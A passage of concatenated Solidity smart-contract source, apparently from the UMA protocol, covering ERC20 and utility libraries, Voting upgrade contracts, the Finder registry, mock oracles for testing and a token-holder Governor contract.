*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
/**
* @title ERC20 interface that includes burn and mint methods.
*/
abstract contract ExpandedIERC20 is IERC20 {
/**
* @notice Burns a specific amount of the caller's tokens.
* @dev Only burns the caller's tokens, so it is safe to leave this method permissionless.
*/
function burn(uint256 value) external virtual;
/**
* @notice Mints tokens and adds them to the balance of the `to` address.
* @dev This method should be permissioned to only allow designated parties to mint tokens.
*/
function mint(address to, uint256 value) external virtual returns (bool);
function addMinter(address account) external virtual;
function addBurner(address account) external virtual;
function resetOwner(address account) external virtual;
}
pragma solidity ^0.6.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
pragma solidity ^0.6.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
pragma solidity ^0.6.2;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
}
pragma solidity ^0.6.0;
import "../math/Math.sol";
/**
* @dev Collection of functions related to array types.
*/
library Arrays {
/**
* @dev Searches a sorted `array` and returns the first index that contains
* a value greater or equal to `element`. If no such index exists (i.e. all
* values in the array are strictly less than `element`), the array length is
* returned. Time complexity O(log n).
*
* `array` is expected to be sorted in ascending order, and to contain no
* repeated elements.
*/
function findUpperBound(uint256[] storage array, uint256 element) internal view returns (uint256) {
if (array.length == 0) {
return 0;
}
uint256 low = 0;
uint256 high = array.length;
while (low < high) {
uint256 mid = Math.average(low, high);
// Note that mid will always be strictly less than high (i.e. it will be a valid array index)
// because Math.average rounds down (it does integer division with truncation).
if (array[mid] > element) {
high = mid;
} else {
low = mid + 1;
}
}
// At this point `low` is the exclusive upper bound. We will return the inclusive upper bound.
if (low > 0 && array[low - 1] == element) {
return low - 1;
} else {
return low;
}
}
}
pragma solidity ^0.6.0;
import "../math/SafeMath.sol";
/**
* @title Counters
* @author Matt Condon (@shrugs)
* @dev Provides counters that can only be incremented or decremented by one. This can be used e.g. to track the number
* of elements in a mapping, issuing ERC721 ids, or counting request ids.
*
* Include with `using Counters for Counters.Counter;`
* Since it is not possible to overflow a 256 bit integer with increments of one, `increment` can skip the {SafeMath}
* overflow check, thereby saving gas. This does assume however correct usage, in that the underlying `_value` is never
* directly accessed.
*/
library Counters {
using SafeMath for uint256;
struct Counter {
// This variable should never be directly accessed by users of the library: interactions must be restricted to
// the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add
// this feature: see https://github.com/ethereum/solidity/issues/4637
uint256 _value; // default: 0
}
function current(Counter storage counter) internal view returns (uint256) {
return counter._value;
}
function increment(Counter storage counter) internal {
// The {SafeMath} overflow check can be skipped here, see the comment at the top
counter._value += 1;
}
function decrement(Counter storage counter) internal {
counter._value = counter._value.sub(1);
}
}
pragma solidity ^0.6.0;
/**
* @dev Standard math utilities missing in the Solidity language.
*/
library Math {
/**
* @dev Returns the largest of two numbers.
*/
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
/**
* @dev Returns the smallest of two numbers.
*/
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
/**
* @dev Returns the average of two numbers. The result is rounded towards
* zero.
*/
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow, so we distribute
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
import "../oracle/implementation/Finder.sol";
import "../oracle/implementation/Constants.sol";
import "../oracle/implementation/Voting.sol";
/**
* @title A contract that executes a short series of upgrade calls that must be performed atomically as a part of the
* upgrade process for Voting.sol.
* @dev Note: the complete upgrade process requires more than just the transactions in this contract. These are only
* the ones that need to be performed atomically.
*/
contract VotingUpgrader {
// Existing governor is the only one who can initiate the upgrade.
address public governor;
// Existing Voting contract needs to be informed of the address of the new Voting contract.
Voting public existingVoting;
// New governor will be the new owner of the finder.
// Finder contract to push upgrades to.
Finder public finder;
// Addresses to upgrade.
address public newVoting;
// Address to call setMigrated on the old voting contract.
address public setMigratedAddress;
/**
* @notice Removes an address from the whitelist.
* @param _governor the Governor contract address.
* @param _existingVoting the current/existing Voting contract address.
* @param _newVoting the new Voting deployment address.
* @param _finder the Finder contract address.
* @param _setMigratedAddress the address to set migrated. This address will be able to continue making calls to
* old voting contract (used to claim rewards on others' behalf). Note: this address
* can always be changed by the voters.
*/
constructor(
address _governor,
address _existingVoting,
address _newVoting,
address _finder,
address _setMigratedAddress
) public {
governor = _governor;
existingVoting = Voting(_existingVoting);
newVoting = _newVoting;
finder = Finder(_finder);
setMigratedAddress = _setMigratedAddress;
}
/**
* @notice Performs the atomic portion of the upgrade process.
* @dev This method updates the Voting address in the finder, sets the old voting contract to migrated state, and
* returns ownership of the existing Voting contract and Finder back to the Governor.
*/
function upgrade() external {
require(msg.sender == governor, "Upgrade can only be initiated by the existing governor.");
// Change the addresses in the Finder.
finder.changeImplementationAddress(OracleInterfaces.Oracle, newVoting);
// Set the preset "migrated" address to allow this address to claim rewards on voters' behalf.
// This also effectively shuts down the existing voting contract so new votes cannot be triggered.
existingVoting.setMigrated(setMigratedAddress);
// Transfer back ownership of old voting contract and the finder to the governor.
existingVoting.transferOwnership(governor);
finder.transferOwnership(governor);
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
import "@openzeppelin/contracts/access/Ownable.sol";
import "../interfaces/FinderInterface.sol";
/**
* @title Provides addresses of the live contracts implementing certain interfaces.
* @dev Examples of interfaces with implementations that Finder locates are the Oracle and Store interfaces.
*/
contract Finder is FinderInterface, Ownable {
mapping(bytes32 => address) public interfacesImplemented;
event InterfaceImplementationChanged(bytes32 indexed interfaceName, address indexed newImplementationAddress);
/**
* @notice Updates the address of the contract that implements `interfaceName`.
* @param interfaceName bytes32 of the interface name that is either changed or registered.
* @param implementationAddress address of the implementation contract.
*/
function changeImplementationAddress(bytes32 interfaceName, address implementationAddress)
external
override
onlyOwner
{
interfacesImplemented[interfaceName] = implementationAddress;
emit InterfaceImplementationChanged(interfaceName, implementationAddress);
}
/**
* @notice Gets the address of the contract that implements the given `interfaceName`.
* @param interfaceName queried interface.
* @return implementationAddress address of the defined interface.
*/
function getImplementationAddress(bytes32 interfaceName) external view override returns (address) {
address implementationAddress = interfacesImplemented[interfaceName];
require(implementationAddress != address(0x0), "Implementation not found");
return implementationAddress;
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
import "../oracle/implementation/Finder.sol";
import "../oracle/implementation/Constants.sol";
import "../oracle/implementation/Voting.sol";
/**
* @title A contract to track a whitelist of addresses.
*/
contract Umip3Upgrader {
// Existing governor is the only one who can initiate the upgrade.
address public existingGovernor;
// Existing Voting contract needs to be informed of the address of the new Voting contract.
Voting public existingVoting;
// New governor will be the new owner of the finder.
address public newGovernor;
// Finder contract to push upgrades to.
Finder public finder;
// Addresses to upgrade.
address public voting;
address public identifierWhitelist;
address public store;
address public financialContractsAdmin;
address public registry;
constructor(
address _existingGovernor,
address _existingVoting,
address _finder,
address _voting,
address _identifierWhitelist,
address _store,
address _financialContractsAdmin,
address _registry,
address _newGovernor
) public {
existingGovernor = _existingGovernor;
existingVoting = Voting(_existingVoting);
finder = Finder(_finder);
voting = _voting;
identifierWhitelist = _identifierWhitelist;
store = _store;
financialContractsAdmin = _financialContractsAdmin;
registry = _registry;
newGovernor = _newGovernor;
}
function upgrade() external {
require(msg.sender == existingGovernor, "Upgrade can only be initiated by the existing governor.");
// Change the addresses in the Finder.
finder.changeImplementationAddress(OracleInterfaces.Oracle, voting);
finder.changeImplementationAddress(OracleInterfaces.IdentifierWhitelist, identifierWhitelist);
finder.changeImplementationAddress(OracleInterfaces.Store, store);
finder.changeImplementationAddress(OracleInterfaces.FinancialContractsAdmin, financialContractsAdmin);
finder.changeImplementationAddress(OracleInterfaces.Registry, registry);
// Transfer the ownership of the Finder to the new Governor now that all the addresses have been updated.
finder.transferOwnership(newGovernor);
// Inform the existing Voting contract of the address of the new Voting contract and transfer its
// ownership to the new governor to allow for any future changes to the migrated contract.
existingVoting.setMigrated(voting);
existingVoting.transferOwnership(newGovernor);
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "../../common/implementation/Testable.sol";
import "../interfaces/OracleAncillaryInterface.sol";
import "../interfaces/IdentifierWhitelistInterface.sol";
import "../interfaces/FinderInterface.sol";
import "../implementation/Constants.sol";
// A mock oracle used for testing.
contract MockOracleAncillary is OracleAncillaryInterface, Testable {
// Represents an available price. Have to keep a separate bool to allow for price=0.
struct Price {
bool isAvailable;
int256 price;
// Time the verified price became available.
uint256 verifiedTime;
}
// The two structs below are used in an array and mapping to keep track of prices that have been requested but are
// not yet available.
struct QueryIndex {
bool isValid;
uint256 index;
}
// Represents a (identifier, time) point that has been queried.
struct QueryPoint {
bytes32 identifier;
uint256 time;
bytes ancillaryData;
}
// Reference to the Finder.
FinderInterface private finder;
// Conceptually we want a (time, identifier) -> price map.
mapping(bytes32 => mapping(uint256 => mapping(bytes => Price))) private verifiedPrices;
// The mapping and array allow retrieving all the elements in a mapping and finding/deleting elements.
// Can we generalize this data structure?
mapping(bytes32 => mapping(uint256 => mapping(bytes => QueryIndex))) private queryIndices;
QueryPoint[] private requestedPrices;
event PriceRequestAdded(address indexed requester, bytes32 indexed identifier, uint256 time, bytes ancillaryData);
event PushedPrice(
address indexed pusher,
bytes32 indexed identifier,
uint256 time,
bytes ancillaryData,
int256 price
);
constructor(address _finderAddress, address _timerAddress) public Testable(_timerAddress) {
finder = FinderInterface(_finderAddress);
}
// Enqueues a request (if a request isn't already present) for the given (identifier, time) pair.
function requestPrice(
bytes32 identifier,
uint256 time,
bytes memory ancillaryData
) public override {
require(_getIdentifierWhitelist().isIdentifierSupported(identifier));
Price storage lookup = verifiedPrices[identifier][time][ancillaryData];
if (!lookup.isAvailable && !queryIndices[identifier][time][ancillaryData].isValid) {
// New query, enqueue it for review.
queryIndices[identifier][time][ancillaryData] = QueryIndex(true, requestedPrices.length);
requestedPrices.push(QueryPoint(identifier, time, ancillaryData));
emit PriceRequestAdded(msg.sender, identifier, time, ancillaryData);
}
}
// Pushes the verified price for a requested query.
function pushPrice(
bytes32 identifier,
uint256 time,
bytes memory ancillaryData,
int256 price
) external {
verifiedPrices[identifier][time][ancillaryData] = Price(true, price, getCurrentTime());
QueryIndex storage queryIndex = queryIndices[identifier][time][ancillaryData];
require(queryIndex.isValid, "Can't push prices that haven't been requested");
// Delete from the array. Instead of shifting the queries over, replace the contents of `indexToReplace` with
// the contents of the last index (unless it is the last index).
uint256 indexToReplace = queryIndex.index;
delete queryIndices[identifier][time][ancillaryData];
uint256 lastIndex = requestedPrices.length - 1;
if (lastIndex != indexToReplace) {
QueryPoint storage queryToCopy = requestedPrices[lastIndex];
queryIndices[queryToCopy.identifier][queryToCopy.time][queryToCopy.ancillaryData].index = indexToReplace;
requestedPrices[indexToReplace] = queryToCopy;
}
emit PushedPrice(msg.sender, identifier, time, ancillaryData, price);
}
// Checks whether a price has been resolved.
function hasPrice(
bytes32 identifier,
uint256 time,
bytes memory ancillaryData
) public view override returns (bool) {
require(_getIdentifierWhitelist().isIdentifierSupported(identifier));
Price storage lookup = verifiedPrices[identifier][time][ancillaryData];
return lookup.isAvailable;
}
// Gets a price that has already been resolved.
function getPrice(
bytes32 identifier,
uint256 time,
bytes memory ancillaryData
) public view override returns (int256) {
require(_getIdentifierWhitelist().isIdentifierSupported(identifier));
Price storage lookup = verifiedPrices[identifier][time][ancillaryData];
require(lookup.isAvailable);
return lookup.price;
}
// Gets the queries that still need verified prices.
function getPendingQueries() external view returns (QueryPoint[] memory) {
return requestedPrices;
}
function _getIdentifierWhitelist() private view returns (IdentifierWhitelistInterface supportedIdentifiers) {
return IdentifierWhitelistInterface(finder.getImplementationAddress(OracleInterfaces.IdentifierWhitelist));
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "../../common/implementation/Testable.sol";
import "../interfaces/OracleInterface.sol";
import "../interfaces/IdentifierWhitelistInterface.sol";
import "../interfaces/FinderInterface.sol";
import "../implementation/Constants.sol";
// A mock oracle used for testing.
contract MockOracle is OracleInterface, Testable {
// Represents an available price. Have to keep a separate bool to allow for price=0.
struct Price {
bool isAvailable;
int256 price;
// Time the verified price became available.
uint256 verifiedTime;
}
// The two structs below are used in an array and mapping to keep track of prices that have been requested but are
// not yet available.
struct QueryIndex {
bool isValid;
uint256 index;
}
// Represents a (identifier, time) point that has been queried.
struct QueryPoint {
bytes32 identifier;
uint256 time;
}
// Reference to the Finder.
FinderInterface private finder;
// Conceptually we want a (time, identifier) -> price map.
mapping(bytes32 => mapping(uint256 => Price)) private verifiedPrices;
// The mapping and array allow retrieving all the elements in a mapping and finding/deleting elements.
// Can we generalize this data structure?
mapping(bytes32 => mapping(uint256 => QueryIndex)) private queryIndices;
QueryPoint[] private requestedPrices;
constructor(address _finderAddress, address _timerAddress) public Testable(_timerAddress) {
finder = FinderInterface(_finderAddress);
}
// Enqueues a request (if a request isn't already present) for the given (identifier, time) pair.
function requestPrice(bytes32 identifier, uint256 time) public override {
require(_getIdentifierWhitelist().isIdentifierSupported(identifier));
Price storage lookup = verifiedPrices[identifier][time];
if (!lookup.isAvailable && !queryIndices[identifier][time].isValid) {
// New query, enqueue it for review.
queryIndices[identifier][time] = QueryIndex(true, requestedPrices.length);
requestedPrices.push(QueryPoint(identifier, time));
}
}
// Pushes the verified price for a requested query.
function pushPrice(
bytes32 identifier,
uint256 time,
int256 price
) external {
verifiedPrices[identifier][time] = Price(true, price, getCurrentTime());
QueryIndex storage queryIndex = queryIndices[identifier][time];
require(queryIndex.isValid, "Can't push prices that haven't been requested");
// Delete from the array. Instead of shifting the queries over, replace the contents of `indexToReplace` with
// the contents of the last index (unless it is the last index).
uint256 indexToReplace = queryIndex.index;
delete queryIndices[identifier][time];
uint256 lastIndex = requestedPrices.length - 1;
if (lastIndex != indexToReplace) {
QueryPoint storage queryToCopy = requestedPrices[lastIndex];
queryIndices[queryToCopy.identifier][queryToCopy.time].index = indexToReplace;
requestedPrices[indexToReplace] = queryToCopy;
}
}
// Checks whether a price has been resolved.
function hasPrice(bytes32 identifier, uint256 time) public view override returns (bool) {
require(_getIdentifierWhitelist().isIdentifierSupported(identifier));
Price storage lookup = verifiedPrices[identifier][time];
return lookup.isAvailable;
}
// Gets a price that has already been resolved.
function getPrice(bytes32 identifier, uint256 time) public view override returns (int256) {
require(_getIdentifierWhitelist().isIdentifierSupported(identifier));
Price storage lookup = verifiedPrices[identifier][time];
require(lookup.isAvailable);
return lookup.price;
}
// Gets the queries that still need verified prices.
function getPendingQueries() external view returns (QueryPoint[] memory) {
return requestedPrices;
}
function _getIdentifierWhitelist() private view returns (IdentifierWhitelistInterface supportedIdentifiers) {
return IdentifierWhitelistInterface(finder.getImplementationAddress(OracleInterfaces.IdentifierWhitelist));
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "../../common/implementation/MultiRole.sol";
import "../../common/implementation/FixedPoint.sol";
import "../../common/implementation/Testable.sol";
import "../interfaces/FinderInterface.sol";
import "../interfaces/IdentifierWhitelistInterface.sol";
import "../interfaces/OracleInterface.sol";
import "./Constants.sol";
import "@openzeppelin/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts/utils/Address.sol";
/**
* @title Takes proposals for certain governance actions and allows UMA token holders to vote on them.
*/
contract Governor is MultiRole, Testable {
using SafeMath for uint256;
using Address for address;
/****************************************
* INTERNAL VARIABLES AND STORAGE *
****************************************/
enum Roles {
Owner, // Can set the proposer.
Proposer // Address that can make proposals.
}
struct Transaction {
address to;
uint256 value;
bytes data;
}
struct Proposal {
Transaction[] transactions;
uint256 requestTime;
}
FinderInterface private finder;
Proposal[] public proposals;
/****************************************
* EVENTS *
****************************************/
// Emitted when a new proposal is created.
event NewProposal(uint256 indexed id, Transaction[] transactions);
// Emitted when an existing proposal is executed.
event ProposalExecuted(uint256 indexed id, uint256 transactionIndex);
/**
* @notice Construct the Governor contract.
* @param _finderAddress keeps track of all contracts within the system based on their interfaceName.
* @param _startingId the initial proposal id that the contract will begin incrementing from.
* @param _timerAddress Contract that stores the current time in a testing environment.
* Must be set to 0x0 for production environments that use live time.
*/
constructor(
address _finderAddress,
uint256 _startingId,
address _timerAddress
) public Testable(_timerAddress) {
finder = FinderInterface(_finderAddress);
_createExclusiveRole(uint256(Roles.Owner), uint256(Roles.Owner), msg.sender);
_createExclusiveRole(uint256(Roles.Proposer), uint256(Roles.Owner), msg.sender);
// Ensure the startingId is not set unreasonably high to avoid it being set such that new proposals overwrite
// other storage slots in the contract.
uint256 maxStartingId = 10**18;
require(_startingId <= maxStartingId, "Cannot set startingId larger than 10^18");
// This just sets the initial length of the array to the startingId since modifying length directly has been
// disallowed in solidity 0.6.
assembly {
sstore(proposals_slot, _startingId)
}
}
/****************************************
* PROPOSAL ACTIONS *
****************************************/
/**
* @notice Proposes a new governance action. Can only be called by the holder of the Proposer role.
* @param transactions list of transactions that are being proposed.
* @dev You can create the data portion of each transaction by doing the following:
* ```
* const truffleContractInstance = await TruffleContract.deployed()
* const data = truffleContractInstance.methods.methodToCall(arg1, arg2).encodeABI()
* ```
* Note: this method must be public because of a solidity limitation that
* disallows structs arrays to be passed to external functions.
*/
function propose(Transaction[] memory transactions) public onlyRoleHolder(uint256(Roles.Proposer)) {
uint256 id = proposals.length;
uint256 time = getCurrentTime();
// Note: doing all of this array manipulation manually is necessary because directly setting an array of
// structs in storage to an an array of structs in memory is currently not implemented in solidity :/.
// Add a zero-initialized element to the proposals array.
proposals.push();
// Initialize the new proposal.
Proposal storage proposal = proposals[id];
proposal.requestTime = time;
// Initialize the transaction array.
for (uint256 i = 0; i < transactions.length; i++) {
require(transactions[i].to != address(0), "The `to` address cannot be 0x0");
// If the transaction has any data with it the recipient must be a contract, not an EOA.
if (transactions[i].data.length > 0) {
require(transactions[i].to.isContract(), "EOA can't accept tx with data");
}
proposal.transactions.push(transactions[i]);
}
bytes32 identifier = _constructIdentifier(id);
// Request a vote on this proposal in the DVM.
OracleInterface oracle = _getOracle();
IdentifierWhitelistInterface supportedIdentifiers = _getIdentifierWhitelist();
supportedIdentifiers.addSupportedIdentifier(identifier);
oracle.requestPrice(identifier, time);
supportedIdentifiers.removeSupportedIdentifier(identifier);
emit NewProposal(id, transactions);
}
/**
* @notice Executes a proposed governance action that has been approved by voters.
* @dev This can be called by any address. Caller is expected to send enough ETH to execute payable transactions.
* @param id unique id for the executed proposal.
* @param transactionIndex unique transaction index for the executed proposal.
*/
function executeProposal(uint256 id, uint256 transactionIndex) external payable {
Proposal storage proposal = proposals[id];
int256 price = _getOracle().getPrice(_constructIdentifier(id), proposal.requestTime);
Transaction memory transaction = proposal.transactions[transactionIndex];
require(
transactionIndex == 0 || proposal.transactions[transactionIndex.sub(1)].to == address(0),
"Previous tx not yet executed"
);
require(transaction.to != address(0), "Tx already executed");
require(price != 0, "Proposal was rejected");
require(msg.value == transaction.value, "Must send exact amount of ETH");
// Delete the transaction before execution to avoid any potential re-entrancy issues.
delete proposal.transactions[transactionIndex];
require(_executeCall(transaction.to, transaction.value, transaction.data), "Tx execution failed");
emit ProposalExecuted(id, transactionIndex);
}
/****************************************
* GOVERNOR STATE GETTERS *
****************************************/
/**
* @notice Gets the total number of proposals (includes executed and non-executed).
* @return uint256 representing the current number of proposals.
*/
function numProposals() external view returns (uint256) {
return proposals.length;
}
/**
* @notice Gets the proposal data for a particular id.
* @dev after a proposal is executed, its data will be zeroed out, except for the request time.
* @param id uniquely identify the identity of the proposal.
* @return proposal struct containing transactions[] and requestTime.
*/
function getProposal(uint256 id) external view returns (Proposal memory) {
return proposals[id];
}
/****************************************
* PRIVATE GETTERS AND FUNCTIONS *
****************************************/
function _executeCall(
address to,
uint256 value,
bytes memory data
) private returns (bool) {
// Mostly copied from:
// solhint-disable-next-line max-line-length
// https://github.com/gnosis/safe-contracts/blob/59cfdaebcd8b87a0a32f87b50fead092c10d3a05/contracts/base/Executor.sol#L23-L31
// solhint-disable-next-line no-inline-assembly
bool success;
assembly {
let inputData := add(data, 0x20)
let inputDataSize := mload(data)
success := call(gas(), to, value, inputData, inputDataSize, 0, 0)
}
return success;
}
function _getOracle() private view returns (OracleInterface) {
return OracleInterface(finder.getImplementationAddress(OracleInterfaces.Oracle));
}
function _getIdentifierWhitelist() private view returns (IdentifierWhitelistInterface supportedIdentifiers) {
return IdentifierWhitelistInterface(finder.getImplementationAddress(OracleInterfaces.IdentifierWhitelist));
}
// Returns a UTF-8 identifier representing a particular admin proposal.
// The identifier is of the form "Admin n", where n is the proposal id provided.
function _constructIdentifier(uint256 id) internal pure returns (bytes32) {
bytes32 bytesId = _uintToUtf8(id);
return _addPrefix(bytesId, "Admin ", 6);
}
// This method converts the integer `v` into a base-10, UTF-8 representation stored in a `bytes32` type.
// If the input cannot be represented by 32 base-10 digits, it returns only the highest 32 digits.
// This method is based off of this code: https://ethereum.stackexchange.com/a/6613/47801.
function _uintToUtf8(uint256 v) internal pure returns (bytes32) {
bytes32 ret;
if (v == 0) {
// Handle 0 case explicitly.
ret = "0";
} else {
// Constants.
uint256 bitsPerByte = 8;
uint256 base = 10; // Note: the output should be base-10. The below implementation will not work for bases > 10.
uint256 utf8NumberOffset = 48;
while (v > 0) {
// Downshift the entire bytes32 to allow the new digit to be added at the "front" of the bytes32, which
// translates to the beginning of the UTF-8 representation.
ret = ret >> bitsPerByte;
// Separate the last digit that remains in v by modding by the base of desired output representation.
uint256 leastSignificantDigit = v % base;
// Digits 0-9 are represented by 48-57 in UTF-8, so an offset must be added to create the character.
bytes32 utf8Digit = bytes32(leastSignificantDigit + utf8NumberOffset);
// The top byte of ret has already been cleared to make room for the new digit.
// Upshift by 31 bytes to put it in position, and OR it with ret to leave the other characters untouched.
ret |= utf8Digit << (31 * bitsPerByte);
// Divide v by the base to remove the digit that was just added.
v /= base;
}
}
return ret;
}
// This method takes two UTF-8 strings represented as bytes32 and outputs one as a prefixed by the other.
// `input` is the UTF-8 that should have the prefix prepended.
// `prefix` is the UTF-8 that should be prepended onto input.
// `prefixLength` is number of UTF-8 characters represented by `prefix`.
// Notes:
// 1. If the resulting UTF-8 is larger than 32 characters, then only the first 32 characters will be represented
// by the bytes32 output.
// 2. If `prefix` has more characters than `prefixLength`, the function will produce an invalid result.
function _addPrefix(
bytes32 input,
bytes32 prefix,
uint256 prefixLength
) internal pure returns (bytes32) {
// Downshift `input` to open space at the "front" of the bytes32
bytes32 shiftedInput = input >> (prefixLength * 8);
return shiftedInput | prefix;
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "../Governor.sol";
// GovernorTest exposes internal methods in the Governor for testing.
contract GovernorTest is Governor {
constructor(address _timerAddress) public Governor(address(0), 0, _timerAddress) {}
function addPrefix(
bytes32 input,
bytes32 prefix,
uint256 prefixLength
) external pure returns (bytes32) {
return _addPrefix(input, prefix, prefixLength);
}
function uintToUtf8(uint256 v) external pure returns (bytes32 ret) {
return _uintToUtf8(v);
}
function constructIdentifier(uint256 id) external pure returns (bytes32 identifier) {
return _constructIdentifier(id);
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
import "@openzeppelin/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "../interfaces/StoreInterface.sol";
import "../interfaces/OracleAncillaryInterface.sol";
import "../interfaces/FinderInterface.sol";
import "../interfaces/IdentifierWhitelistInterface.sol";
import "../interfaces/OptimisticOracleInterface.sol";
import "./Constants.sol";
import "../../common/implementation/Testable.sol";
import "../../common/implementation/Lockable.sol";
import "../../common/implementation/FixedPoint.sol";
import "../../common/implementation/AddressWhitelist.sol";
/**
